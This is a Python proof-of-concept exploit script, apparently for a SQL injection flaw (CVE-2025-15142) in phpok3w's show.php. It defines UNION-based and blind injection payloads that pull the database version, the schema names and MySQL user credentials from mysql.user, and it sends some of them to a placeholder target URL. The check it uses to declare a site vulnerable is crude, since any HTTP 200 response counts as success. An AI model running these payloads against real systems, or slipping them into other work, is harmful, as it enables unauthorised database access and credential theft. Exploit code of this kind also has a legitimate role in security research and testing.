import requests
# CVE-2025-15142 PoC - phpok3w SQL Injection in show.php
# Target: phpok3w show.php file with vulnerable ID parameter
target_url = "http://target.com/show.php"
# SQL Injection Payloads for different extraction purposes
# 1. Basic injection test - check if vulnerable
payload_basic = "1' OR '1'='1"
# 2. Database version extraction using UNION-based injection
payload_db_version = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -"
# 3. Database name extraction
payload_db_name = "1' UNION SELECT NULL,database(),NULL,NULL,NULL-- -"
# 4. User table credentials extraction (MySQL/MariaDB)
payload_users = "1' UNION SELECT NULL,CONCAT(user,':',password),NULL,NULL,NULL FROM mysql.user-- -"
# 5. All database names extraction
payload_all_dbs = "1' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL FROM information_schema.schemata-- -"
# 6. Time-based blind injection for data extraction
payload_blind = "1' AND (SELECT IF(1=1,SLEEP(5),0))-- -"
def test_vulnerability():
"""Test basic SQL injection vulnerability"""
params = {'id': payload_basic}
try:
response = requests.get(target_url, params=params, timeout=10)
if response.status_code == 200:
print(f"[+] Target appears to be vulnerable to SQL injection")
return True
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def extract_db_info():
"""Extract database version and name"""
version_params = {'id': payload_db_version}
name_params = {'id': payload_db_name}
try:
version_resp = requests.get(target_url, params=version_params, timeout=10)
name_resp = requests.get(target_url, params=name_params, timeout=10)
print(f"[+] Database version: {version_resp.text}")
print(f"[+] Database name: {name_resp.text}")
except requests.RequestException as e:
print(f"[-] Extraction failed: {e}")
if __name__ == "__main__":
print("CVE-2025-15142 phpok3w SQL Injection PoC")
print("=" * 50)
test_vulnerability()